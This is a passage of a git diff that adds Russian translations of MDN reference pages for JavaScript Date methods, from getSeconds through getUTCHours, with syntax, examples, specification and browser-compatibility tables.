+   <td>{{SpecName('ES5.1', '#sec-15.9.5.12', 'Date.prototype.getMonth')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.prototype.getmonth', 'Date.prototype.getMonth')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome для Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.getUTCMonth()")}}</li>
+ <li>{{jsxref("Date.prototype.setMonth()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/date/getseconds/index.html b/files/ru/web/javascript/reference/global_objects/date/getseconds/index.html
new file mode 100644
index 0000000000..4332bf9b01
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/date/getseconds/index.html
@@ -0,0 +1,126 @@
+---
+title: Date.prototype.getSeconds()
+slug: Web/JavaScript/Reference/Global_Objects/Date/getSeconds
+tags:
+  - Date
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/getSeconds
+---
+<div>{{JSRef("Global_Objects", "Date")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+
+<p>Метод <strong><code>getSeconds()</code></strong> возвращает секунды указанной даты по местному времени.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate"><code><var>dateObj</var>.getSeconds()</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<p>Нет.</p>
+
+<h3 id="Returns" name="Returns">Возвращаемое значение</h3>
+
+<p>Значение, возвращённое методом <code>getSeconds()</code>, является целым числом от 0 до 59.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example_Using_getSeconds" name="Example:_Using_getSeconds">Пример: использование метода <code>getSeconds()</code></h3>
+
+<p>Вторая инструкция в примере ниже присваивает значение 30 переменной <code>seconds</code> из значения переменной <code>date</code> объекта {{jsxref("Global_Objects/Date", "Date")}}.</p>
+
+<pre class="brush: js notranslate">let date = new Date('December 25, 1995 23:15:30');
+let seconds = date.getSeconds();
+
+console.log(seconds); // 30
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1-е издание.</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.5.22', 'Date.prototype.getSeconds')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.prototype.getseconds', 'Date.prototype.getSeconds')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome для Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.getUTCSeconds()")}}</li>
+ <li>{{jsxref("Date.prototype.setSeconds()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/date/gettime/index.html b/files/ru/web/javascript/reference/global_objects/date/gettime/index.html
new file mode 100644
index 0000000000..407d054fa7
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/date/gettime/index.html
@@ -0,0 +1,100 @@
+---
+title: Date.prototype.getTime()
+slug: Web/JavaScript/Reference/Global_Objects/Date/getTime
+tags:
+  - Date
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/getTime
+---
+<div>{{JSRef("Global_Objects", "Date")}}</div>
+
+<div></div>
+
+<p>Метод <strong><code>getTime()</code></strong> возвращает числовое значение, соответствующее указанной дате по всемирному координированному времени.</p>
+
+<p>Вы можете использовать этот метод для того, чтобы присвоить дату и время другому объекту {{jsxref("Global_Objects/Date", "Date")}}. Этот метод функционально эквивалентен методу {{jsxref("Date.prototype.valueof", "valueOf()")}}.</p>
+
+<p>{{EmbedInteractiveExample("pages/js/date-gettime.html")}}</p>
+
+<p class="hidden">Исходный код этого интерактивного примера хранится в репозитории GitHub. Если вы хотите внести свой вклад в проект интерактивных примеров, клонируйте <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> и отправьте нам запрос на перенос.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate"><code><var>dateObj</var>.getTime()</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<p>Нет.</p>
+
+<h3 id="Returns" name="Returns">Возвращаемое значение</h3>
+
+<p>Значение, возвращённое методом <code>getTime()</code>, является количеством миллисекунд, прошедших с 1 января 1970 года 00:00:00 по UTC.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example_Using_getTime_for_copying_dates" name="Example:_Using_getTime_for_copying_dates">Пример: использование метода <code>getTime()</code> для копирования дат</h3>
+
+<p>Конструирует новый объект даты с идентичным значением времени.</p>
+
+<pre class="brush: js notranslate">let birthday = new Date(2020, 12, 20);
+let copy = new Date();
+copy.setTime(birthday.getTime());
+
+console.log(copy.setTime(birthday.getTime())); // 1611090000000
+</pre>
+
+<h3 id="Example_Measuring_execution_time" name="Example:_Measuring_execution_time">Пример: замер времени выполнения</h3>
+
+<p>Вычитанием двух последовательных вызовов метода <code>getTime()</code> на заново сконструированных объектах {{jsxref("Global_Objects/Date", "Date")}} можно замерить промежуток времени, произошедший между двумя этими вызовами. Это можно использовать для вычисления времени выполнения неких операций.</p>
+
+<pre class="brush: js notranslate">let end, start;
+
+start = new Date();
+for (let i = 0; i &lt; 1000; i++) {
+  Math.sqrt(i);
+}
+end = new Date();
+
+console.log('Операция заняла ' + (end.getTime() - start.getTime()) + ' мсек');
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1-е издание.</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.5.9', 'Date.prototype.getTime')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.prototype.gettime', 'Date.prototype.getTime')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div>{{Compat("javascript.builtins.Date.getTime")}}</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.setTime()")}}</li>
+ <li>{{jsxref("Date.prototype.valueOf()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/date/gettimezoneoffset/index.html b/files/ru/web/javascript/reference/global_objects/date/gettimezoneoffset/index.html
new file mode 100644
index 0000000000..9c564f3139
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/date/gettimezoneoffset/index.html
@@ -0,0 +1,106 @@
+---
+title: Date.prototype.getTimezoneOffset()
+slug: Web/JavaScript/Reference/Global_Objects/Date/getTimezoneOffset
+tags:
+  - Date
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/getTimezoneOffset
+---
+<div>{{JSRef("Global_Objects", "Date")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+<p>Метод <strong><code>getTimezoneOffset()</code></strong> возвращает смещение часового пояса относительно часового пояса UTC в минутах для текущей локали.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+<pre class="syntaxbox"><code><var>dateObj</var>.getTimezoneOffset()</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+<p>Нет.</p>
+
+<h3 id="Returns" name="Returns">Возвращаемое значение</h3>
+<p>Возвращает смещение часового пояса, являющееся разностью в минутах между временем UTC и местным временем. Обратите внимание, что это значит, что смещение будет положительным для местного часового пояса, находящегося западнее часового пояса UTC и отрицательным — восточнее. Например, если ваш часовой пояс равен UTC+10 (австралийское восточное поясное время), будет возвращено значение -600. Наличие летнего и зимнего времени не даёт этому смещению быть постоянным, даже в пределах одного часового пояса.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_Using_getTimezoneOffset" name="Example:_Using_getTimezoneOffset">Пример: использование метода <code>getTimezoneOffset()</code></h3>
+<pre class="brush: js">var x = new Date();
+var currentTimeZoneOffsetInHours = x.getTimezoneOffset() / 60;
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1-е издание.</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.5.26', 'Date.prototype.getTimezoneOffset')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.prototype.gettimezoneoffset', 'Date.prototype.getTimezoneOffset')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+<div>{{CompatibilityTable}}</div>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Android</th>
+    <th>Chrome для Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
diff --git a/files/ru/web/javascript/reference/global_objects/date/getutcdate/index.html b/files/ru/web/javascript/reference/global_objects/date/getutcdate/index.html
new file mode 100644
index 0000000000..ed5a5368f0
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/date/getutcdate/index.html
@@ -0,0 +1,114 @@
+---
+title: Date.prototype.getUTCDate()
+slug: Web/JavaScript/Reference/Global_Objects/Date/getUTCDate
+tags:
+  - Date
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/getUTCDate
+---
+<div>{{JSRef("Global_Objects", "Date")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+<p>Метод <strong><code>getUTCDate()</code></strong> возвращает день месяца указанной даты по всемирному координированному времени.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+<pre class="syntaxbox"><var>dateObj</var>.getUTCDate()</pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+<p>Нет.</p>
+
+<h3 id="Returns" name="Returns">Возвращаемое значение</h3>
+<p>Значение, возвращённое методом <code>getUTCDate()</code>, является целым числом от 1 до 31.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_Using_getUTCDate" name="Example:_Using_getUTCDate">Пример: использование метода <code>getUTCDate()</code></h3>
+<p>В следующем примере переменной <code>day</code> присваивается значение дня из текущей даты.</p>
+<pre class="brush: js">var today = new Date();
+var day = today.getUTCDate();
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1-е издание.</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение. Реализовано в JavaScript 1.3.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.5.15', 'Date.prototype.getUTCDate')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.prototype.getutcdate', 'Date.prototype.getUTCDate')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+<div>{{CompatibilityTable}}</div>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Android</th>
+    <th>Chrome для Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+<ul>
+ <li>{{jsxref("Date.prototype.getDate()")}}</li>
+ <li>{{jsxref("Date.prototype.getUTCDay()")}}</li>
+ <li>{{jsxref("Date.prototype.setUTCDate()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/date/getutcday/index.html b/files/ru/web/javascript/reference/global_objects/date/getutcday/index.html
new file mode 100644
index 0000000000..4a82c3b080
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/date/getutcday/index.html
@@ -0,0 +1,114 @@
+---
+title: Date.prototype.getUTCDay()
+slug: Web/JavaScript/Reference/Global_Objects/Date/getUTCDay
+tags:
+  - Date
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/getUTCDay
+---
+<div>{{JSRef("Global_Objects", "Date")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+<p>Метод <strong><code>getUTCDay()</code></strong> возвращает день недели указанной даты по всемирному координированному времени, где 0 соответствует воскресенью.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+<pre class="syntaxbox"><code><var>dateObj</var>.getUTCDay()</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+<p>Нет.</p>
+
+<h3 id="Returns" name="Returns">Возвращаемое значение</h3>
+<p>Значение, возвращённое методом <code>getDay()</code>, является целым числом, соответствующим дню недели: 0 соответствует воскресенью, 1 — понедельнику, 2 — вторнику и так далее.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_Using_getUTCDay" name="Example:_Using_getUTCDay">Пример: использование метода <code>getUTCDay()</code></h3>
+<p>В следующем примере переменной <code>weekday</code> присваивается номер дня недели из текущей даты.</p>
+<pre class="brush: js">var today = new Date();
+var weekday = today.getUTCDay();
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1-е издание.</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение. Реализовано в JavaScript 1.3.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.5.17', 'Date.prototype.getUTCDay')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.prototype.getutcday', 'Date.prototype.getUTCDay')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+<div>{{CompatibilityTable}}</div>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Android</th>
+    <th>Chrome для Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+<ul>
+ <li>{{jsxref("Date.prototype.getUTCDate()")}}</li>
+ <li>{{jsxref("Date.prototype.getDay()")}}</li>
+ <li>{{jsxref("Date.prototype.setUTCDate()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/date/getutcfullyear/index.html b/files/ru/web/javascript/reference/global_objects/date/getutcfullyear/index.html
new file mode 100644
index 0000000000..628a0301b0
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/date/getutcfullyear/index.html
@@ -0,0 +1,113 @@
+---
+title: Date.prototype.getUTCFullYear()
+slug: Web/JavaScript/Reference/Global_Objects/Date/getUTCFullYear
+tags:
+  - Date
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/getUTCFullYear
+---
+<div>{{JSRef("Global_Objects", "Date")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+<p>Метод <strong><code>getUTCFullYear()</code></strong> возвращает год указанной даты по всемирному координированному времени.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+<pre class="syntaxbox"><code><var>dateObj</var>.getUTCFullYear()</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+<p>Нет.</p>
+
+<h3 id="Returns" name="Returns">Возвращаемое значение</h3>
+<p>Значение, возвращённое методом <code>getUTCFullYear()</code> является абсолютным числом, совместимым с проблемой 2000 года, например, 1995.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_Using_getUTCFullYear" name="Example:_Using_getUTCFullYear">Пример: использование метода <code>getUTCFullYear()</code></h3>
+<p>В следующем примере переменной <code>year</code> присваивается четырёхзначное значение текущего года.</p>
+<pre class="brush: js">var today = new Date();
+var year = today.getUTCFullYear();
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1-е издание.</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение. Реализовано в JavaScript 1.3.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.5.11', 'Date.prototype.getUTCFullYear')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.prototype.getutcfullyear', 'Date.prototype.getUTCFullYear')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+<div>{{CompatibilityTable}}</div>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Android</th>
+    <th>Chrome для Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+<ul>
+ <li>{{jsxref("Date.prototype.getFullYear()")}}</li>
+ <li>{{jsxref("Date.prototype.setFullYear()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/date/getutchours/index.html b/files/ru/web/javascript/reference/global_objects/date/getutchours/index.html
new file mode 100644
index 0000000000..3fcc362cea
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/date/getutchours/index.html
@@ -0,0 +1,113 @@
+---
+title: Date.prototype.getUTCHours()
+slug: Web/JavaScript/Reference/Global_Objects/Date/getUTCHours
+tags:
+  - Date
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/getUTCHours
+---
+<div>{{JSRef("Global_Objects", "Date")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+<p>Метод <strong><code>getUTCHours()</code></strong> возвращает часы указанной даты по всемирному координированному времени.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+<pre class="syntaxbox"><code><var>dateObj</var>.getUTCHours()</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+<p>Нет.</p>
+
+<h3 id="Returns" name="Returns">Возвращаемое значение</h3>
+<p>Значение, возвращённое методом <code>getUTCHours()</code>, является целым числом от 0 до 23.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_Using_getUTCHours" name="Example:_Using_getUTCHours">Пример: использование метода <code>getUTCHours()</code></h3>
+<p>В следующем примере переменной <code>hours</code> присваивается количество часов из текущего времени.</p>
+<pre class="brush: js">var today = new Date();
+var hours = today.getUTCHours();
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1-е издание.</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение. Реализовано в JavaScript 1.3.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.5.19', 'Date.prototype.getUTCHours')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.prototype.getutchours', 'Date.prototype.getUTCHours')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+<div>{{CompatibilityTable}}</div>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Android</th>
+    <th>Chrome для Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
